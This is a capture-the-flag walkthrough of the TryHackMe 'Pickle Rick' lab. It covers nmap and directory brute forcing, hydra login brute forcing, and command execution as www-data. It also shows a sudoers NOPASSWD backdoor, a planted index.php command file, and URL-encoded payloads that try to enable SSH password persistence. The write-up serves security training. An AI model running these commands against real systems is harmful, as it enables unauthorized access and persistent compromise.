# PickleRick ##

PICKLE RICK WRITEUP *By Jacvbtaylor* ``` Used openvpn and Kali Linux https://tryhackme.com/room/picklerick completed September 6, 2022 ``` ### Step 1: Beginning my reconnaissance, I started off with my usual nmap script that I recently updated `echo "sed -e '/Completed/d;/Initiating/d;/Starting/d;/Not/d;/Nmap/d'" > SED && chmod +x SED && nmap -sn 10.10.221.12 -oG - | awk '/Up$/{print$2}' > livehosts.txt && nmap -iL livehosts.txt | ./SED > nmapscan.txt && nmap -sV -A --script vulners -iL livehost* | ./SED > vulnscan.txt`

`gobuster dir -u http://10.10.221.12 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt`

scanning + directory brute force and webpage source code

The nmap scan revealed possible exploits and found 2 ports open: \ 22 & 80 I visited the IP in a browser to find a static webpage. Viewing the source code revealed a message that is not seen from the webpage: ``` ``` ### Step 2: The message on the webpage tells me to logon to Rick's computer. I found the username but have no password. The gobuster scan has found one webpage so far, assets. There is no index in place for that folder, which leaves a local file inclusion vulnerability and informs us that the server is Apache/2.4.18 (Ubuntu) Server at 10.10.221.12 Port 80. \ \ This did allow for me to view all of the files in the assets folder, but nothing seems to be of valuable at the moment. I let gobuster run till it finished and found no other directories.

LFI vulnerability - Tells us the type of server running

My best option seems to try an SSH bruteforce attack.

My ssh password bruteforce attack was unsuccessful. The SSH service seems to only allow keyboard-interactive authentication and not password authentication, which is what hydra would have been using.\ \ When I tried logging in manually, I was denied attempting because I did not have a public key. \ \ While this does make things a little more challenging, it doesn't leave me completely at a loss. ### Step 3: Going back to my nmap scans, I can view my vulnerability results.

One of these detected vulnerabilities should allow me some form of access to the SSH server. So far trying 3 different exploits gives me similar results to what is shown below:

https://www.exploit-db.com/exploits/40858

The SSH service seems very secure so far, only allowing access via a key. In this moment I have no clue how I am going to get in with SSH, so I have to do more research. ### Step 4: Feeling defeated after not succeeding with the SSH exploitation, I tried my luck looking more into port 80. I was able to locate a php file running `dirb http://10.10.221.12/ -X .php` Following the denied.php file redirected me to login.php and pulled up this web portal

dirb finished running and found 3 php files:\ denied.php\ login.php\ portal.php all of which seem to end in the same place, the login.php webpage.\ \ I attempted a null login to the portal using the username I discovered previously, R1ckRul3s. This displayed "Invalid username or password."\ \ I immediately pulled up burpsuite to capture the requests for a brute force attack.

I used this to help construct my attack with hydra

Using the constructed hydra script in the photo above, I was welcomed with 30 false positives before the attempt abruptly ended, so I eventually made my way to this new script which finally ran with no errors: `hydra -l R1ckRul3s -P /usr/share/wordlists/rockyou.txt 10.10.221.12 http-post-form "/login.php:username=R1ckRul3s&password=^PASS^&sub=Login:Invalid username or password." -vV -t 60` I let that run for about 20 minutes before giving up as it would take 60 hours to complete the whole rockyou.txt list I felt like I was overlooking something very simple, so I took a step back and ran another file attack on the webserver, this time looking for txt files\ `dirb http://10.10.221.12/ -X .txt`

### Step 5: Unfortunately, the simplest of things can be the most overlooked sometimes. This is good to note for future endeavors with other servers. I used the username R1ckRul3s and the word found in the robots.txt file to try and log in to the login.php webpage. It worked.

the first command I ran was `ls`

Using `whoami` revealed these commands were being ran as www-data. When trying certain commands such as "cat" seem to redirect us to denied.php. I tried less Su\* and it worked! I finally have the first ingredient and a clue. Using this command prompt, I am not allowed to cd in or out of the www directory.

I attempted to find other txt files on the server that were created during the same time as the ones in the www/html directory I was stuck in but had no obvious luck. Looking through source code of the files I did have access to in that directory, I came across some commands that were not allowed. This left me thinking. I have 3 file extensions in this directory, html, txt, and php. \ \ If I can append code to one of the php files, I may be able to obtain a reverse shell. I tested this out with something simple to the index.html file first and it worked!

### Step 6: From this command panel, I ran the following commands:\ \ `sudo usermod -aG sudo www-data` `sudo echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers` `echo "" > index.html` `sudo mv index.html index.php`

I had no luck echoing into any file other than the index.html from the www-data user while interacting with the portal.php webpage. I wanted to escape this and added my own command file called index.php

From here, I was able to find the 2nd ingredient.

Earlier on while snooping around in the command prompt, I had already discovered the 3rd ingredient.

### Step 7: Although the challenge ends once all 3 ingredients are discovered, I wanted to ensure that I had persistence to the server and knowing that port 22 was open and I had sudo access via my index.php file, I could probably gain ssh access. I tried a number of things through my php command file I spent a couple hours trying different things but ultimately could not find a way to escalate privileges to allow me to edit the ssh\_config file to run this successfully `sudo echo "PasswordAuthentication yes" >> /etc/ssh/ssh_config` with my php command file `/index.php?cmd=sudo%20echo%20"PasswordAuthentication%20yes"%20>>%20%2Fetc%2Fssh%2Fssh_config%20` Although this (among many other attempts) did not work, I felt it necessary to at the very least try. I may come back to it in the near future but for now I have not been able to gain persistence.